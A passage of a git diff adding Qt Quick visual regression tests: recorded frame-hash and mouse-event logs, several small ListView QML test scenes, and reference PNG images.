+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "a88656d49e4636b18c4f6f4a0ab943d6"
+ }
+ Frame {
+ msec: 3904
+ hash: "f1ec9a65d5f8d2020db1b70bcd419417"
+ }
+ Frame {
+ msec: 3920
+ hash: "ca7d3d7d26445d13acd7fe4a2c5d1d4d"
+ }
+ Frame {
+ msec: 3936
+ hash: "90016f51541a15ba4b6265f6843a2998"
+ }
+ Frame {
+ msec: 3952
+ hash: "bdb992552a5c5707ddb372631f72e6a3"
+ }
+ Frame {
+ msec: 3968
+ hash: "af69ed47f0f40648d55af10c87866805"
+ }
+ Frame {
+ msec: 3984
+ hash: "33e77562bdf839ca1e969b918d90a07b"
+ }
+ Frame {
+ msec: 4000
+ hash: "2001b5ca444808a79c49adc9d03c960e"
+ }
+ Frame {
+ msec: 4016
+ hash: "e4186283e5fe0c1efb29eca6f59e9079"
+ }
+ Frame {
+ msec: 4032
+ hash: "dab82d0bbba66df3297712b42f74f25a"
+ }
+ Frame {
+ msec: 4048
+ hash: "b180ad3acdfd736276ef4d1de040bb55"
+ }
+ Frame {
+ msec: 4064
+ hash: "577445b0e4d6f8079830c2b87ce5829d"
+ }
+ Frame {
+ msec: 4080
+ hash: "45fffe51376abef4cb28842b392ab0b7"
+ }
+ Frame {
+ msec: 4096
+ hash: "fc14e3b2d16e1f078d223876ef71c81e"
+ }
+ Frame {
+ msec: 4112
+ hash: "4ef2b65280a00a6a4e66185f41479aef"
+ }
+ Frame {
+ msec: 4128
+ hash: "131181ce7ff2f4d4e69823fcb7a20755"
+ }
+ Frame {
+ msec: 4144
+ hash: "8e6db058e96dad9c4963b881083ab9bf"
+ }
+ Frame {
+ msec: 4160
+ hash: "e2d407b6dff40625790d4fd9e599b374"
+ }
+ Frame {
+ msec: 4176
+ hash: "631fe708fdcb1e4f4ea89b10da5db623"
+ }
+ Frame {
+ msec: 4192
+ hash: "e11831f37a3a1da78cbdc7604ddccd68"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 491; y: 193
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4208
+ hash: "c2dccc4e890b2302edd413dcdb87b50b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 491; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4224
+ hash: "b4f6a6650dd779c8ad8696c23f44411a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 493; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4240
+ hash: "ad913e53e63c030ffdf4560766722760"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 494; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 495; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4256
+ hash: "ef31f8a4d5bde5a2e308d19ee6d5e759"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 496; y: 174
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4272
+ hash: "3ba07527f66e8bea5a8fb7647b0b4f3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 496; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4288
+ hash: "70e5fe656f5fd843383964825690b678"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4304
+ hash: "b7d8738be4cd6caa63dbecdb0f810a2f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4320
+ hash: "d6312191f9d7bbddc07f9253d8a93469"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4336
+ hash: "b182da64886cf4f444296e5fde26701e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4352
+ hash: "ebefef14b6fb990e0c6900884528bbd3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 120
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4368
+ hash: "9a3451ed091b1bb6b975a9c5506b1ea4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4384
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4400
+ hash: "eaaf9ea1d7fcf4a2a9dd58b1b5bb3cae"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 112
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4416
+ hash: "7ca8e3d76cf913d85f84f0b96acde829"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4432
+ hash: "7cfef56b24a552c6d4ecb3d0b88a1d08"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 109
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4448
+ hash: "d032b257259810b4fe514c63ca5c9e4b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4464
+ hash: "568f6a57e6f1644b0dc245d03a1d7b85"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 499; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4480
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4496
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4512
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4528
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4544
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4560
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4576
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4592
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4608
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4624
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4640
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4656
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4672
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4688
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4704
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4720
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4736
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4752
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4768
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4784
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4800
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4816
+ image: "listview.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Frame {
+ msec: 4848
+ hash: "5cb4cf2c527d821db2a5072dd3702653"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 499; y: 106
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 498; y: 107
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4864
+ hash: "d48ecbd0661e08b2117fe2fd96ffeb2c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4880
+ hash: "7cfef56b24a552c6d4ecb3d0b88a1d08"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 496; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4896
+ hash: "5b12e9d17d9d464b055601db9cf0da44"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 495; y: 115
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4912
+ hash: "25333e1f0cc9cfc664fd7369af544c06"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 494; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4928
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 4944
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 4960
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 4976
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 4992
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5008
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5024
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5040
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5056
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 494; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5072
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5088
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5104
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5120
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5136
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5152
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5168
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5184
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5200
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5216
+ hash: "04290d8d62436c8a812f886e0a56ec1b"
+ }
+ Frame {
+ msec: 5232
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5248
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5264
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5280
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5296
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5312
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5328
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5344
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5360
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5376
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5392
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5408
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5424
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5440
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5456
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5472
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5488
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5504
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5520
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5536
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5552
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5568
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5584
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5600
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5616
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5632
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5648
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5664
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5680
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5696
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5712
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5728
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5744
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5760
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5776
+ image: "listview.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5808
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5824
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5840
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5856
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5872
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5888
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5904
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5920
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5936
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5952
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5968
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 5984
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6000
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6016
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6032
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6048
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6064
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6080
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6096
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6112
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+ Frame {
+ msec: 6128
+ hash: "dbd87bf02d698b7f053d307ef0c98452"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/enforcerange.qml b/tests/auto/declarative/qmlvisual/ListView/enforcerange.qml
new file mode 100644
index 00000000..a796be73
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/enforcerange.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+
+Item {
+ id: document
+ width: 200; height: 200
+
+ ListView {
+ id: serviceListView
+ anchors.fill: parent
+ model: 100
+
+ preferredHighlightBegin: 90
+ preferredHighlightEnd: 90
+
+ highlightRangeMode: ListView.StrictlyEnforceRange
+
+ delegate: Component {
+ Item {
+ height: 15 + ((serviceListView.currentIndex == index) ? 20 : 0)
+ width: 200
+ Rectangle { width: 180; height: parent.height - 4; x: 10; y: 2; color: "red" }
+ }
+ }
+ }
+
+ Rectangle {
+ y: 90; width: 200; height: 35
+ border.color: "black"
+ color: "transparent"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/itemlist.qml b/tests/auto/declarative/qmlvisual/ListView/itemlist.qml
new file mode 100644
index 00000000..7e5d6347
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/itemlist.qml
@@ -0,0 +1,40 @@
+// This example demonstrates placing items in a view using
+// a VisualItemModel
+
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightgray"
+ width: 240
+ height: 320
+
+ VisualItemModel {
+ id: itemModel
+ objectName: "itemModel"
+ Rectangle {
+ objectName: "item1"
+ height: view.height; width: view.width; color: "#FFFEF0"
+ }
+ Rectangle {
+ objectName: "item2"
+ height: view.height; width: view.width; color: "#F0FFF7"
+ }
+ Rectangle {
+ objectName: "item3"
+ height: view.height; width: view.width; color: "#F4F0FF"
+ }
+ }
+
+ ListView {
+ id: view
+ objectName: "view"
+ anchors.fill: parent
+ anchors.bottomMargin: 30
+ model: itemModel
+ preferredHighlightBegin: 0
+ preferredHighlightEnd: 0
+ highlightRangeMode: "StrictlyEnforceRange"
+ orientation: ListView.Horizontal
+ flickDeceleration: 2000
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/listview.qml b/tests/auto/declarative/qmlvisual/ListView/listview.qml
new file mode 100644
index 00000000..6171c75a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/listview.qml
@@ -0,0 +1,86 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300; color: "white"
+
+ ListModel {
+ id: myModel
+ ListElement {
+ itemColor: "red"
+ }
+ ListElement {
+ itemColor: "green"
+ }
+ ListElement {
+ itemColor: "blue"
+ }
+ ListElement {
+ itemColor: "orange"
+ }
+ ListElement {
+ itemColor: "brown"
+ }
+ ListElement {
+ itemColor: "yellow"
+ }
+ ListElement {
+ itemColor: "purple"
+ }
+ ListElement {
+ itemColor: "darkred"
+ }
+ ListElement {
+ itemColor: "darkblue"
+ }
+ }
+
+ Component {
+ id: myDelegate
+ Item {
+ width: 200; height: 50
+ Rectangle {
+ x: 5; y : 5
+ width: 190; height: 40
+ opacity: 0.5
+ color: itemColor
+ }
+ }
+ }
+
+ Component {
+ id: myHighlight
+ Rectangle { width: 200; height: 50; color: "black" }
+ }
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: myModel; delegate: myDelegate
+ highlight: myHighlight
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+ ListView {
+ id: list2
+ x: 200; width: 200; height: parent.height
+ model: myModel; delegate: myDelegate; highlight: myHighlight
+ preferredHighlightBegin: 80
+ preferredHighlightEnd: 220
+ highlightRangeMode: "ApplyRange"
+ currentIndex: root.current
+ }
+ ListView {
+ id: list3
+ x: 400; width: 200; height: parent.height
+ model: myModel; delegate: myDelegate; highlight: myHighlight
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125
+ preferredHighlightEnd: 125
+ highlightRangeMode: "StrictlyEnforceRange"
+ flickDeceleration: 1000
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png
new file mode 100644
index 00000000..85f86916
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png
new file mode 100644
index 00000000..3cbb470e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png
new file mode 100644
index 00000000..521e8187
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png
new file mode 100644
index 00000000..f5e76401
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png
new file mode 100644
index 00000000..7b0c620f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png
new file mode 100644
index 00000000..8c40a7a7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png
new file mode 100644
index 00000000..8dfcf7ba
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml
new file mode 100644
index 00000000..af9e005c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml
@@ -0,0 +1,1767 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "packageviews.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 48
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 64
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 80
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 96
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 112
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 128
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 144
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 160
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 176
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 192
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 208
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 224
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 240
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 256
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 272
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 288
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 304
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 320
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 336
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 352
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 368
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 384
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 400
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 416
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 432
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 448
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 464
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 480
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 496
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 512
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 528
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 544
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 560
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 576
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 592
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 608
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 624
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 640
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 656
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 672
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 688
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 704
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 720
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 736
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 752
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 768
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 784
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 26; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 816
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 832
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 848
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 26; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "7cf95f1bc67a90c0df788787589a75a9"
+ }
+ Frame {
+ msec: 880
+ hash: "ae75402b2fa678a20c32d743e2b297a0"
+ }
+ Frame {
+ msec: 896
+ hash: "76a9721ada8280925ff32e7207c01944"
+ }
+ Frame {
+ msec: 912
+ hash: "87fb13adce4e2af05a7ad2f8cd18bad9"
+ }
+ Frame {
+ msec: 928
+ hash: "cd7be3a5b9bae876998770dc52dbcd86"
+ }
